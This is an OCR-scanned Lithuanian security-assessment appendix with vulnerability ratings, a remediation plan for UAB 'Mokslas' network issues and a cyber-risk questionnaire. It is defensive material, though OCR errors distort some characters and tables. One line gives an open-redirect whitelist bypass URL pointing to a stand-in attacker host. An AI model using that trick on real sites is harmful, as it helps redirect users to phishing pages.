tinklo segmento taip pat gali pareikalauti papildomy veiksmy i§
vartotojo. Dabartiné Windows sistemos konfigliracija yra pazeidziama
jvairioms atakoms, kuriy rezultatas — nuotoliné prieiga prie sistemos.

Tarnybiniy stociy saugumo patikrinimas

Windows RDP tarnybos MiTM paZeidZiamumas

Pazeidziamumas gali biiti panaudotas paprastomis priemonémis, taciau /AV:A/AC:H/PR:N/UIL:R
tam biitina prieiga prie tinklo srauto. Piktavalis gali perimti ir i§Sifruoti 5.6 /S:C/C:H/I:N/A:N

tarp kliento ir serverio perduodamus privac¢ius duomenis arba gauti | (Vidutine)
prieiga prie nutolusios sistemos.

Windows SMB tarnybos MiTM paZeidZiamumas

Pazeidziamumas gali biiti panaudotas paprastomis priemonémis, taciau /AV:A/AC:H/PR:N/UL:R
tam biitina prieiga prie tinklo srauto. Pazeidziamumo panaudojimas 5.6 /S:C/C:H/I:N/A:N
gali suteikti prieiga prie konfidencialiy duomeny arba leisti sisteminiy | (Viduting)

komandy vykdyma.

SSL / TLS Kkonfigiiracijos paZeidZiamumai

Pazeidziamumas gali biti panaudotas paprastomis priemonémis, taciau 43 /AV:N/AC:H/PR:N/UL:N
tam biitina prieiga prie tinklo srauto. Piktavalis gali perimti ir i$Sifruoti ’ /S:U/C:L/T:L/A:N

. . . o . Vidutiné
tarp kliento ir serverio perduodamus privacius duomenis. ( )

Autentifikacija yra naudojama neapsaugota

Pazeidziamumas gali biiti panaudotas paprastomis priemonémis, taciau 54 /AV:A/AC:L/PR:N/ULN
tam biitina prieiga prie tinklo srauto. Piktavalis gali perimti ir i$Sifruoti ’ /S:U/C:L/I:L/A:N

. . . R . Vidutine
tarp kliento ir serverio perduodamus privacius duomenis. ( )

100



5 priedas. UAB ,,Mokslas“ IT&T tinklo paZeidZiamumy pasalinimo priemoniy
planas

Siame darbe atlikus UAB ,Mokslas* iSorinio IT&T tinklo kibernetinio saugumo patikrinima
sudarytas pazeidziamumy pasSalinimo priemoniy planas.

Tinklo architektiiros pazeidZiamumy pasalinimo priemoniy planas pavaizduotas 1 lenteléje.

1 lentelé. Tinklo architektiiros pazeidZiamumy paSalinimo priemoniy planas
iemoneé Konfigtiravimo Techninés Organizacinés Kompetencija

Sritis

Daugybiniai SSL / TLS pazeidziamumai
Konfidencialumas X X
Vientisumas X X
Pricinamumas X X
Veiksmai Silpny saugumo Sifravimo algoritmy ir SSL protokolo pazeidziamumy
iStaisymui rekomenduojama perkonfigiiruoti pazeidziamy HTTP serveriy
SSL tarnybas. Microsoft IIS WEB serveris neturi paprasto biido ar priemoniy
Sifravimo protokolo SSLv2 uzdraudimui, konfigtiracijos keitimas atlickamas
keiciant specifines reikSmes Windows registre.
Norint iSspresti pasibaigusio galiojimo sertifikato pazeidziamuma biitina
jsigyti patikimy CA (Certificate Authority) iSduota SSL sertifikata, kuriuo
pasitiki visos populiariausios interneto narSyklés.
Pasenusi OpenSSL versija turi biiti atnaujinta kartu su Apache HTTP
programine jranga.
Daugiau  informacijos apie IIS konfigiravimg galima rasti:
http://support.microsoft.com/kb/245030 .
Sisteminés informacijos atskleidimas

Konfidencialumas
Vientisumas
Prieinamumas X
Veiksmai Biitina jsitikinti ar yra iSjungtas derinimo rezimas WEB aplikacijoje perkélus
ja 18 testinés aplinkos j gamybing. Klaidy praneSimuose turi biiti pateiktas
minimalus kiekis sisteminés informacijos. Geriausia praktika, kuomet yra
konstatuojamas klaidos faktas, taCiau nepateikiama jokios iSsamios
informacijos.

Duomeny saugumo pazeidziamumy pasalinimo priemoniy planas pavaizduotas 2 lenteléje.

2 lentelé. Duomeny saugumo pazeidziamumy pasalinimo priemoniy planas

iemoné Konfigiiravimo Techninés Organizacinés Kompetencija
Sritis
XSS pazeidziamumai
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Reikalinga tinkamai filtruoti WEB aplikacijai perduodamus vartotojy jvestus
duomenis. Rekomenduojama sukurti globalig filtravimo funkcija, kurios
veikimas biity pagristas ,,baltuoju* sarasu, pavyzdziui, jeigu formos elemente
reikia jvesti tik skaitmenis, tai biitina patikrinti ar isties jvedamus duomenis
sudaro vien tik skaitmenys. Toks tikrinimas turi biiti atliekamas serverio, o
ne kliento puséje. Norint iSvengti XSS ataky taip pat reikia specialius
simbolius tokius kaip: <>"'" pakeisti ] HTML atitikmenis (&lt; &gt; &apos;
&quot;).
Daugiau informacijos galima rasti:
http://www.owasp.org/index.php/Cross_Site Scripting .
IKE agresyvaus rezimo mai$os nutekinimas
Konfidencialumas
Vientisumas
Prieinamumas
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Veiksmai Nereikalingi veiksmai, nes eksperimento metu pastebéta, kad slaptazodzio
parinkti turimai mai$ai nepavyko. Verta pastebéti, jog Sios atakos s¢kmé dar
priklauso nuo ,,ID* (--id parametro reikmé) reik§mes, kuri naudojama maisos
gavimui. Panaudojus neteisingg ID reik§m¢ gaunama nevalidi maisa. Jeigu
VPN serveryje yra naudojami i$ anksto nustatyti raktai — agresyvus rézimas
turéty biti iSjungtas. Jei agresyvus rézimas vis dél to biitinas — vietoj i§ anksto
nustatyty rakty prisijungimams turéty biiti naudojami sertifikatai.
Slaptazodziy perdavimas neSifruotu kanalu

Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Norint iSvengti konfidencialiy duomeny perémimo, reikalinga

sukonfigtiruoti atitinkamas paslaugas (Siuo atveju FTP, HTTP) naudojant
SSL / TLS Sifravimg su patikimu sertifikatu bei saugiais Sifravimo

algoritmais.
Neapsaugotas nukreipimas j kitg tinklapj
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Prie§ nukreipiant vartotoja i kita puslapj rekomenduojama paskirties adresa

tikrinti naudojant baltaji sarasa. Reguliariyjy iSraiSky atveju reikalinga
sudaryti tikslias iSraiskas, kadangi netinkamas statisky adresy tikrinimas gali
biiti apeitas naudojant zemiau  pateikta URL iSraiska:
bbb.aaa.lt@www.attacker.com.

Atsparumo DoS atakoms paSalinimo priemoniy planas pavaizduotas 3 lentel¢je.

3 lentelé. Atsparumo DoS atakoms paSalinimo priemoniy planas

iemoné Konfigiiravimo Techninés Organizacinés Kompetencija
Sritis
Konfidencialumas
Vientisumas
Prieinamumas X
Veiksmai Siame darbe buvo naudojamas didelis skirtingus IP adresus turinéiy sistemy

tinklas, atitinkantis realios DoS atakos scenarijy. Tokiy ataky metu
rekomenduojama aktyviai reaguoti j incidenta ir blokuoti uzklausas
atkeliaujancias i§ abejotiny tinkly, pvz. uzsienio Saliy, kurioms tikétina, jog
WERB serveryje pateikiama informacija yra neaktuali. Srauto blokavimas turi
bati atliekamas kuo zemesniame OSI lygmenyje naudojant tinklo
ugniasienes. Kai DoS ataka yra lokalizuota, t. y. atakai naudojamas tos pacios
Salies uzkrésty sistemy tinklas (angl. botnet), rekomenduojama filtruoti pagal
daznai pasitaikancias DoS ataky anomalijas, tokias kaip tos pacios User-
Agent, Referer antrastés naudojimas, pasikartojanti uzklausiamy WEB
serverio resursy seka ir kt.

Jeigu vidiniame tinkle naudojama ugniasiené¢ nepalaiko DoS ataky
prevencijai reikalingy funkcijy rekomenduojama ja atnaujinti jdiegiant
papildomus saugos modulius arba pasinaudoti interneto paslaugy tiekéjo
siilomomis tinklo apsaugos nuo DoS ataky priemonémis.

Daugiau informacijos apie galima rasti:
http://www.iis.net/downloads/microsoft/dynamic-ip-restrictions ir
http://technet.microsoft.com/en-us/library/cc995196.aspx .

Kai atakuojanciyjy sistemy skaiCius néra didelis tokios atakos jmanoma
iSvengti tinklo ugniasienéje apribojant TCP susijungimy skaiciy tenkanciy
vienam klientui tam tikrame laiko intervale. Taip pat galima jdiegti Microsoft
IIS Dynamic IP Restrictions plétinj, leidziantj uzblokuoti tam tikrus IP
adresus pasickus nustatyta uzklausy limitg. Tokiu biidu galima sustabdyti
atsisakymo aptarnauti ataka, vykdoma i§ vieno ar keleto jsilauzélio
kontroliuojamy kompiuteriy.

Antivirusiniy sistemy susidorojimo su zalingu kodu pazeidziamumy pasalinimo priemoniy planas
pavaizduotas 4 lentel¢je.
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4 lentelé. Antivirusiniy sistemy susidorojimo su Zalingu kodu pazeidziamumy pasalinimo priemoniy planas

iemoné Konfigiiravimo Techninés Organizacinés Kompetencija
Sritis
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Eksperimento metu nustatyta, jog elektroninio pasto laisky priedy filtravimo

sistemos darbas saugumo atzvilgiu yra priimtinas, taciau norint visiSkai
apsisaugoti nuo Zzalingo kodo reikalinga naudoti papildoma antivirusing
sistemg kompiuterizuotose darbo vietose. Dauguma atveju kenkéjiskas kodas
bando susisiekti su piktavalio kontroliuojamomis sistemomis esanc¢iomis
iSoréje. Siekiant sumazinti nepastebéto kenkéjisko kodo keliamg Zzalg
reikalinga tinkamai sukonfigiiruoti tinklo perimetro ugniasienes, kurios
apsaugoty nuo kenkéjisky susijungimy i8/j iSorg.

Neegzistuojanti arba sena antivirusiné programiné jranga WEB serveriuose
kelia didele grésme, kadangi tai palengvina jsilauzélio darba.
Rekomenduojama kuo greiciau jdiegti antivirusines sistemas visose iSorinése
sistemose bei tinkamai jas sukonfigliruoti. Jeigu svetainés, kuriose aptikti
pazeidziamumai, yra nenaudojamos, rekomenduojame jas iSjungti, nes
pasinaudojus jy pazeidziamumais piktavalis gali patekti  kitas svetaines ir
vidinj tinklg.

Siame darbe atlikus UAB ,,Mokslas“ vidinio tinklo ir sistemy kibernetinio saugumo patikrinima
sudarytas pazeidziamumy pasSalinimo priemoniy planas.

Tinklo jrangos konfigiiracijos pazeidziamumy pasalinimo priemoniy planas pavaizduotas 5 lenteléje.

5 lentelé. Tinklo jrangos konfigiiracijos pazeidZziamumy pasalinimo priemoniy planas

iemoneé Konfigtiravimo Techninés Organizacinés Kompetencija
Sritis
Neapsaugota prieiga prie vidinio tinklo
Konfidencialumas
Vientisumas
Prieinamumas
Veiksmai Nereikalingi veiksmai, nes kompiuterizuoty darbo viety ir spausdintuvy tinklo segmentuose
yra naudojamas 802.1x autentifikacijos mechanizmas.
Nesaugi ugniasieniy konfigtiracija
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Rekomenduojama sukonfigiiruoti tinklo ugniasienes taip, kad tarnybiniy sto¢iy tinklo
segmentuose blity galima pasiekti tik biitiniausias sistemas ir atvirus prievadus. Taip pat turi
biiti uztikrinta, kad tarnybinés stotys i§ vieno tinklo segmento gali pasekti tik tas sistemas i8
kito tinklo segmento, kurios yra naudojamos duomeny mainams. Prieiga prie interneto turi
buti apribota tiek kompiuterizuotoms darbo vietoms tiek, tarnybinéms stotims. Geriausia
praktika, kuomet tinkle yra naudojamas filtruojantis Proxy serveris, o visi kiti susijungimai
einantys ne per Proxy serverj yra blokuojami. Taip pat bet kokie neautorizuoti jungimosi
bandymai turi biiti registruojami ir analizuojami norint jsitikinti, kad jie néra potencialiy
ataky padariniai.
SNMP tarnybos standartiné konfigtiracija
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Dabartin¢je SNMP tarnybos konfigiiracijoje reikia pakeisti parametro ,,community* reikSme
I sunkiai nuspéjamg. Rekomenduojamas sprendimas buty SNMPvl/v2c protokoly
atsisakymas ir peréjimas prie SNMPv3 protokolo, kuris uztikrina tinkama autentifikacijos
mechanizma ir duomeny apsaugg. Taip pat rekomenduojama leisti prisijungimus prie
tarnybos naudojamy prievady tik i§ riboto skaiciaus patikimy sistemy arba i§vis iSjungti
SNMP tarnyba jeigu ji néra naudojama.
ARP pakety klastojimo ataka
Konfidencialumas | X | | |
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Vientisumas X
Prieinamumas X

Veiksmai Tinklo jrangoje reikia jjungti Dynamic ARP inspection (DAI) ir DHCP Snooping apsaugos
mechanizmus, kurie susieja IP ir MAC adresus. Sistemai aptikus suklastotus paketus prieiga
prie tinklo yra blokuojama. Sie apsaugos mechanizmai veikia tuomet, jeigu tinkle yra
naudojamas DHCP. Priesingu atveju, pavyzdziui, serveriy tinklo segmente yra naudojami
privatiis virtualds tinklo segmentai (PVLAN).

Daugiau informacijos galima rasti:
http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/i0s/12-
2SX/configuration/guide/book/dynarp.html ir
http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-
2SX/configuration/guide/book/snoodhcp.html ir

http://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/configuration/gui
de/cli/CLIConfigurationGuide/PrivateVLANs.html
NBNS / LLMNR pakety klastojimo ataka

Konfidencialumas X

Vientisumas X

Prieinamumas X
Veiksmai Rekomenduojama iSjungti NBNS protokolo palaikyma Windows sistemose. LLMNR

protokolas gali buti iSjungtas keiciant Windows sistemos saugumo politika, pavyzdziui,
naudojant jrankj gpedit.msc. Parametro Turn Off Multicast Name Resolution reik§me reikia
nustatyti j Enabled (Policy -> Computer Configuration -> Administrative Templates ->
Network -> DNS Client).

Daugiau informacijos galima rasti: http://technet.microsoft.com/en-
us/library/cc782733(v=ws.10).aspx  ir  http://perimetergrid.com/wp/2008/01/11/wpad-
internet-explorers-worst-feature/

Tinklo jrangos standartiniai slaptazodziai

Konfidencialumas X X
Vientisumas
Prieinamumas X X
Veiksmai Standartiniy vartotojy gamybiniai slaptazodziai turi buti pakeisti. Jeigu standartinés

vartotojy paskyros néra naudojamos, jos turéty biiti blokuojamos arba istrintos i§ sistemos.
Rekomenduojama kiekvienai sistemai ir veikianCiai tarnybai naudoti skirtingus
slaptazodzius bei reguliariai juos keisti. Saugus slaptazodis turi biiti sudarytas is: didziyjy
raidziy (A, B, C, ...), mazyjy raidziy (a, b, c, ...), skaitmeny (1, 2, 3, ...), specialiyjy simboliy
(!, <, @ ... ), turi buti nereikSminis zodis ir netrumpesnis negu 8 simboliai. Taip pat
rekomenduojama leisti prisijungimus prie tinklo jrangos administravimo sasajy tik i$ riboto
skaiCiaus patikimy sistemy, pavyzdziui, tik i§ administratoriy potinklio.

Kompiuterizuotos darbo viety saugumo pazeidziamumy paSalinimo priemoniy planas pavaizduotas
6 lenteléje.

6 lentelé. Kompiuterizuotos darbo viety saugumo pazeidziamumy pasalinimo priemoniy planas

iemoneé Konfigtiravimo Techninés Organizacinés Kompetencija
Sritis
Windows RDP tarnybos MiTM pazeidziamumas
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Rekomenduojama RDP tarnybos konfigliracijoje nustatyti auksta (High)
Sifravimo lygj. Sis lygis jgalina 128 bity Sifravimg, kuris $iuo metu yra
laikomas patikimu. Taip pat biitina leisti prisijungimus tik naudojat NLA arba
TLS protokolg bei jdiegti SSL sertifikata, kuris yra iSduotas Windows
domeno centrinés sertifikaty tarnybos.
Daugiau informacijos galima rasti: http:/technet.microsoft.com/en-
us/library/cc781085(v=ws.10).aspx ir
http://blogs.msdn.com/b/rds/archive/2010/04/09/configuring-remote-
desktop-certificates.aspx?Pagelndex=3 ir
http://blogs.msdn.com/b/rds/archive/2008/07/21/configuring-terminal-
servers-for-server-authentication-to-prevent-man-in-the-middle-attacks.aspx
Windows SMB tarnybos MiTM pazeidziamumas
Konfidencialumas | X | | |
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Vientisumas X

Prieinamumas X
Veiksmai Privalomas SMB pakety pasiraSymas gali biti jjungtas naudojant Windows
sistemos arba Domeno saugumo politikos nustatymus. Windows sistemoje
saugumo nustatymai pasiekiami (gpedit.msc): Computer
Configuration\Windows Settings\Security Settings\Local Policies\Security

Options\.

Microsoft network client: Digitally sign communications (always) —
nurodo, kad bus jungiamasi tik prie serveriy palaikanc¢iy SMB pakety
pasirasSymag.

Microsoft network server: Digitally sign communications (always) —
nurodo, kad prisijungimai leidziami tik i§ klienty palaikanciy SMB pakety
pasirasSymag.

SMB tarnyba bus apsaugota nuo MiTM ataky nustacius abu saugumo
parametrus.
Daugiau informacijos galima rasti: http://technet.microsoft.com/en-
us/library/cc786681(v=ws.10).aspx
Nesaugi Windows sistemy konfigiiracija
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Rekomenduojama perkonfigiiruoti  standarting Windows ugniasieng.

Prisijungimus prie administravimui skirty prievady (pavyzdziui: 445 ir 3389)
leisti tik i§ patikimy IP adresy, pavyzdziui, sistemos administratoriy.

7 lentelé. Tarnybiniy stociy saugumo pazeidziamumy pasalinimo priemoniy planas

iemoné Konfigiiravimo Techninés Organizacinés Kompetencija
Sritis
Windows RDP tarnybos MiTM pazeidziamumas
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Rekomenduojama RDP tarnybos konfigliracijoje nustatyti auksta (High)
sifravimo lygj. Sis lygis jgalina 128 bity Sifravima, kuris $iuo metu yra
laikomas patikimu. Taip pat biitina leisti prisijungimus tik naudojat NLA arba
TLS protokolg bei jdiegti SSL sertifikatg, kuris yra iSduotas Windows
domeno centrinés sertifikaty tarnybos.
Daugiau informacijos galima rasti: http:/technet.microsoft.com/en-
us/library/cc781085(v=ws.10).aspx ir
http://blogs.msdn.com/b/rds/archive/2010/04/09/configuring-remote-
desktop-certificates.aspx?Pagelndex=3 ir
http://blogs.msdn.com/b/rds/archive/2008/07/21/configuring-terminal-
servers-for-server-authentication-to-prevent-man-in-the-middle-attacks.aspx
Windows SMB tarnybos MiTM pazeidZziamumas
Konfidencialumas X
Vientisumas X
Prieinamumas X
Veiksmai Privalomas SMB pakety pasiraSymas gali buti jjungtas naudojant Windows

sistemos arba Domeno saugumo politikos nustatymus. Windows sistemoje
saugumo nustatymai pasiekiami (gpedit.msc): Computer
Configuration\Windows Settings\Security Settings\Local Policies\Security
Options\.

Microsoft network client: Digitally sign communications (always) —
nurodo, kad bus jungiamasi tik prie serveriy palaikanc¢iy SMB pakety
pasiraSymag.

Microsoft network server: Digitally sign communications (always) —
nurodo, kad prisijungimai leidziami tik i§ klienty palaikanc¢iy SMB pakety
pasiraSyma.

SMB tarnyba bus apsaugota nuo MiTM ataky nustacius abu saugumo
parametrus.

Tarnybiniy sto¢iy saugumo pazeidziamumy pasalinimo priemoniy planas pavaizduotas 7 lenteléje.
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Daugiau informacijos galima rasti: http://technet.microsoft.com/en-
us/library/cc786681(v=ws.10).aspx
SSL / TLS konfigiiracijos pazeidziamumai

Konfidencialumas X

Vientisumas X

Prieinamumas X
Veiksmai Rekomenduojama perzidiréti visy SSL / TLS duomeny Sifravima naudojanciy

tarnyby konfigiiracija ir pakeisti nepatikimus ir nebegaliojancius sertifikatus
tokiais, kurie yra iSduoti Windows domeno centrinés sertifikaty tarnybos.
Taip pat SSL / TLS palaikanc¢iy tarnyby konfigiiracijoje turi buti iSjungtas
SSLv2 protokolo ir silpny $ifry palaikymas.
Daugiau informacijos galima rasti: http:/technet.microsoft.com/en-
us/library/cc772393(v=ws.10).aspx

Autentifikacija yra naudojama neapsaugota

Konfidencialumas X

Vientisumas X

Prieinamumas X
Veiksmai Biitina perzitréti vartotojo autentifikacijos reikalaujaniy tarnyby

konfigiiracijg ir jjungti SSL / TLS palaikyma. Taip pat SSL / TLS duomeny
Sifravimg palaikancioms tarnyboms turi buti jdiegtas patikimas SSL
sertifikatas. Vidinio tinklo sistemoms rekomenduojama naudoti Windows
domeno centrinés sertifikaty tarnybos iSduotus SSL sertifikatus.

Siame darbe atlikus Zmogiskojo faktoriaus patikrinima sudarytas paZzeidziamumy pasalinimo
priemoniy planas pavaizduotas 8 lentel¢je.

8 lentelé. Zmogiskojo faktoriaus pazeidziamumy pasalinimo priemoniy planas

iemoneé Konfigtiravimo Techninés Organizacinés Kompetencija
Sritis
Darbuotojy kompetencijos patikrinimas
Konfidencialumas X
Vientisumas
Pricinamumas X
Veiksmai Siekiant iSvengti jsilauzimy, kuriems pasitelkiama socialiné
inzinerija, rekomenduojame taikyti ir organizacines priemones, tokias kaip
kibernetinio saugumo mokymai. Siy mokymy tikslas — supaZzindinti
darbuotojus su kibernetinémis grésmémis ir uzkirsti kelia galimiems
saugumo incidentams. Kaip alternatyva, taip pat siilome j kasmetiniy
darbuotojy informacijos saugos mokymy medziaga jtraukti skyriy apie
socialing inZinerija paremtas atakas, ir pvz. Siy Saugos politikos laikymosi
patikros scenarijy pavyzdziu pateikti praktinius patarimus kaip darbuotojai
turéty elgtis gave abejoting, arba pirma sykj matoma laiska.
Saugos politikos perziiira
Konfidencialumas X
Vientisumas
Prieinamumas X
Veiksmai Rekomenduojama jdiegti tinkamga slaptazodziy politika. Saugus slaptazodis
turi biiti sudarytas is:
e didziyjy raidziy (A, B, C, ...),
e mazyjy raidziy (a, b, c, ...),
e skaitmeny (1, 2, 3, ...),
e specialiyjy simboliy (!, <, @ ... ),
e Ne trumpesnis negu 8 simboliai,
e  Neturi buti reikSminis Zodis.
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6 priedas. Kibernetiniy riziky klausimynas

1. Informacija apie juridinj vienetg, jos pavadinimas, veiklos sritis.
1.1. Koks darbuotojy skaic¢ius?
1.2. Apyvarta (pajamos).

Praéjusieji metai Einamieji metai Planuojamieji metai

Koks yra jiusy bendras
metinis IT biudZetas?

Kokia jo dali procentais
sudaro suma IT saugumui?

Kokia jos dali procentais
sudaro suma  skiriama
sistemy saugumui gerinti?

2. Informacija apie IT&T tinklg.

Nurodykite atskiry IT&T jrenginiy skaiCiy (pvz., serveriai, staliniai kompiuteriai, neSiojamieji
kompiuteriai, mobiliojo rySio jrenginiai), kuriuos jus esate jdiege naudojimui:

Nr. Pavadinimas Lokacija

3. Informacija apie kaupiamus duomenys:

Asmens identifikavimo duomenys (AID)

Mokejimo kortelés informacija (MKI)

Informacija apie sveikatg (AIS)

Intelektiné nuosavybé (IN)

Naudotojy vardai ir slaptazodziai

Kiti kaupiami duomenys

O|goo|aio

Ar informacija skirstote pagal konfidencialuma, vientisuma ir prieinamuma? O Taip O Ne

Ar turite visy labiausiai jslaptinty ir Gkinei veiklai gyvybiskai svarbiy duomeny saugojimo | [ Taip (1 Ne
vietos (-y) aprasa?
Ar jis klasifikuojate iSorines informacijos sistemas? O Taip O Ne

4. IT&T tinklo eksploatavimas.

Ar jusy IT&T tinkla prizitiri nuosavi zmogiskieji resursai? O Taip O Ne

Ar jusy IT&T tinkla prizidri iSorinis paslaugy tiekéjas (tinka, informacines sistemas, | [J Taip [J Ne
internetinius puslapius)?

I$vardinkite kokias paslaugas teikia iSorinis paslaugy tiekéjas:
Ar prie§ vykdydami veiklg su iSorinémis programinés jrangos jmonémis ir paslaugy | [J Taip (I Ne
teikéjais atliekate rizikos vertinima?
Ar uztikrinta (pvz., auditu), kad uzsakomuyjy paslaugy teikéjo saugumo lygis atitinka jusy | [J Taip [J Ne
paciy saugumo lygj?
Ar josy raStu sudarytoje (-e) sutartyje (-yse) su paslaugy teikéju (-ais) jtvirtinta, kad | [J Taip (I Ne
paslaugy teikéjas turi atsakomybe uZ jiisy informacijos sauguma?

3. IT saugumas.
Toliau pateikti atsakymai j klausimus padés mums jvertinti jisy saugumo branda.

5.1 Organizacing struktiira.

Ar yra asmuo, atsakingas uz IT sauguma (pvz., informacijos saugumo vadovas arba | [J Taip [0 Ne
komanda, kuri reguliariai atsiskaito auks¢iausiojo lygmens vadovams?
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5.2 Informacijos saugumo valdymas ir atitikties uztikrinimas.

Ar turite sukurtg, visoje jmongje jdiegtg ir nuolat visiems darbuotojams prieinamg oficialig | [ Taip [ Ne

Informacijos saugumo politika?

Ar jusy informacijos saugumo politikoje yra nuostatos dél reikalavimy treciosioms Salims, | [ Taip [ Ne

su kuriomis dalinatés konfidencialia ar kita jmonei svarbia informacija?

Ar jusy Informacijos saugumo politika perzitirima, atnaujinama ir koreguojama atsizvelgus | [J Taip OO Ne

i naujas grésmes?

Ar sekate duomenis? O Taip [0 Ne

Ar savo interneto svetainés lankytojus informuojate, kad sekate duomenis (pvz., naudodami | ] Taip O Ne

slapukus)?

Ar sukuréte politikg ir jdiegéte procedirg, kuri leisty veiksmingai iSvengti neteiséto | [ Taip [ Ne

duomeny sekimo ir rinkimo?

Ar turite jdiegtg tarptautiniu standartu pagrista Informacijos saugumo valdymo sistemg? O Taip O Ne

Ar laikotés vieno ar keliy toliau nurodyty saugumo uztikrinimo rekomendacijy (sistemy, | [J Taip O Ne

standarty, reikalavimy)?

ISO .... (nurodyti kokiy laikotés) O

HIPAA/HITECH O

Sarbanes-Oxley akto O

NIST O

ES duomeny apsaugos reglamento O

PCI-DSS O

COBIT O

Kita: O

1. Informacija apie mokéjimo korteles.

Ar jums taikomas mokéjimo korteliy duomeny apsaugos standartas? O Taip (I Ne

Ar priimate kreditines korteles? O Taip (I Ne

Ar naudojate treciyjy Saliy korteliy apdorojimo paslaugas (Mokipay, paypal)? O Taip [0 Ne

Kokj komercinio subjekto lygj Siuo metu atitinkate pagal PCI DSS (angl. Payment Card

Industry Data Security Standard) apibrézima?

Ar paslepiate visus, i§skyrus paskutinius keturis mokéjimo kortelés numerio skaitmenis | ] Taip O Ne

tada, kai rodote arba spausdinate kortelés turétojo duomenis? O Netaik.

Ar uztikrinate, kad kortelés patvirtinimo kodai nebuty iSsaugomi jokioje jusy duomeny | [0 Taip [ Ne

bazéje, registracijos Zurnaluose ar kokioje nors kitoje jtisy tinklo vietoje? O Netaik.

Ar savo duomeny bazése uzsSifruojate visg sgskaitos informacija? O Taip O Ne
[ Netaik.

Ar naudojate kompiuterinius kasos terminalus (PoS)? O Taip (I Ne

Jei taip, ar nuotoliné prieiga prie visy PoS yra nuolatos i§jungta? O Taip O Ne
[ Netaik.

Ar visa sgskaitos informacija visuose PoS uzsifruojate arba apsaugote prieigos raktu? O Taip O Ne
[ Netaik.

Ar naudojate taSkas | taSka uzSifravima, pradedant elektroniniu prietaisu kortelés | [J Taip O Ne

informacijai nuskaityti? O Netaik.

Ar turite jdiegta standarting procediira, kuri uztikrinty, kad nuolat laikotés teisiniy (arba | [J Taip O Ne

sutartiniy) privatumo apsaugos reikalavimy ir reglamenty? O Netaik.

2. IT&T tinklo stiprinimas ir uzsifravimas.

Ar jus stiprinate visus savo serverius bei kompiuterius ir ar naujoms sistemoms sudaryti | [J Taip [ Ne

taikote standartizuotus atvaizdus?

Ar pasalinate nereikalingg programing jranga, prisijungimo vardus, paslaugas? O Taip (I Ne

Ar visos sistemos ir tinklo jranga yra saugiai sukonfigtiruota? O Taip O Ne

Ar pakeiCiami visi numatytieji administravimo slaptazodziai, pvz., kompiuteriy jrangos | (] Taip [ Ne

ugniasieniy, marsruty kreiptuvy, SCADA sistemos (-y) ir t. t. ?

Ar jdiegiami atitinkami saugumo nustatymai ir standartai ? O Taip (I Ne
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Ar pasalinamos nereikalingos paslaugos (servisai) ? O Taip O Ne
Ar naudojate pasenusig (pasibaigusio buties ciklo) programing jrangg ir (arba) kompiuteriy | [J Taip (1 Ne
jranga, kuriai oficialiai gamintojas (tickéjas) nebeteikia saugumo atnaujinimy (pvz.,
Windows XP)?
Ar turite procesa, pagal kurj paSalinama prieiga prie sistemos, naudotojo paskyros ir | ] Taip O Ne
susijusios naudotojo teisés po to, kai nutraukiama sutartis su darbuotoju, laikinu darbuotoju,
rangovu ar tiekéju?
Ar perduodami duomenys yra tinkamai uzsifruoti ir jy tapatumas tinkamai nustatytas? O Taip [J Ne
Ar konfidenciali, jautri ar slapta informacija yra saugoma ir Sifruojama?
Duomenys Taip, Taip, taciau
tokiuose uzSifruoti | neuzSifruoti
jrenginiuose
nesaugojami
Faily serverio diskiné saugykla O O O
Nesiojamyjy kompiuteriy standieji diskai O O O
Mobiliojo rysio ir iSmanieji telefonai, plansetés ar kiti mobiliojo 0 0 O
rys$io jrenginiai
USB atmintinés, diskai ar kiti neSiojami jrenginiai O O O
Atsarginiy kopijy juostos O O O
Duomeny bazés O | O
E. pastas (pvz., PGP, SSMIME, OME) | O O
3. Pataisy valdymas.
Ar laiku jdiegiate savo sistemy ir taikomyjy programy pataisas? Kokius jrankius tam | [J Taip [ Ne
naudojate?
Jei taip, ar yra valdomi pagrindiniy sistemy tiekéjy pranes$imai apie saugumo pataisas ? O Taip O Ne
Ar iSbandote programinés aparatinés jrangos, programinés jrangos, interneto taikomuyjy | ] Taip O Ne
programy ir produkty atnaujinimus bei naujovinimus pries juos jdiegdami?
4. Apsauga nuo kenkejiskos programinés jrangos.
Ar naudojate apsauga nuo virusy, Snipin¢jimo programy ar lygiavertés kenkejiskos | [ Taip [ Ne
programinés jrangos ziniatinklio (el. pasto) tinklo sietuvuose ?
Ar naudojate apsauga nuo virusy, Snipin¢jimo programy ar lygiavertés kenkejiskos | [ Taip [ Ne
programinés jrangos faily serveriuose ?
Ar naudojate apsauga nuo virusy, Snipin¢jimo programy ar lygiavertés kenkejiskos | [ Taip [ Ne
programinés jrangos kompiuterizuotose darbo vietose ir neSiojamuose kompiuteriuose ?
Ar naudojate apsauga nuo virusy, Snipin¢jimo programy ar lygiavertés kenkejiskos | [ Taip [ Ne
programinés jrangos mobiliojo rySio jrenginiuose ?
Ar jusy apsaugoje nuo kenkéjiskos programinés jrangos yra aktyvinti paraSu grindZiami, | [J Taip [J Ne
euristiniai ir elgsena grindziami aptikimo mechanizmai, skirti apsaugoti nuo $iuolaikinés
kenkejiskos programinés jrangos (pvz. ,,Rootkit®, paslépty pri¢jimy ir tiksliniy kibernetiniy
ataky (APT), naudojanciy apéjimo metodus)?
Ar jiisy taikoma apsauga nuo kenkéjiskos programinés valdoma centralizuotai? O Taip [J Ne
Ar yra atsisiunéiami ir jdiegiami virusy atnaujinimai? O Taip O Ne
5. Taikomyjy programy saugumas.
Ar visos Ukinei veiklai gyvybiskai svarbios taikomosios programos, kurios sukurtos vietoje, | 1 Taip [  Ne
yra koduojamos taikant standartus ir geriausias praktikas taip, kad bty apsaugotos nuo | 7 Netaik.
zinomy saugumo problemy? Pazymeékite ,Netaik.“ tik tuo atveju, jei patys nekuriate
taikomyjy programy.
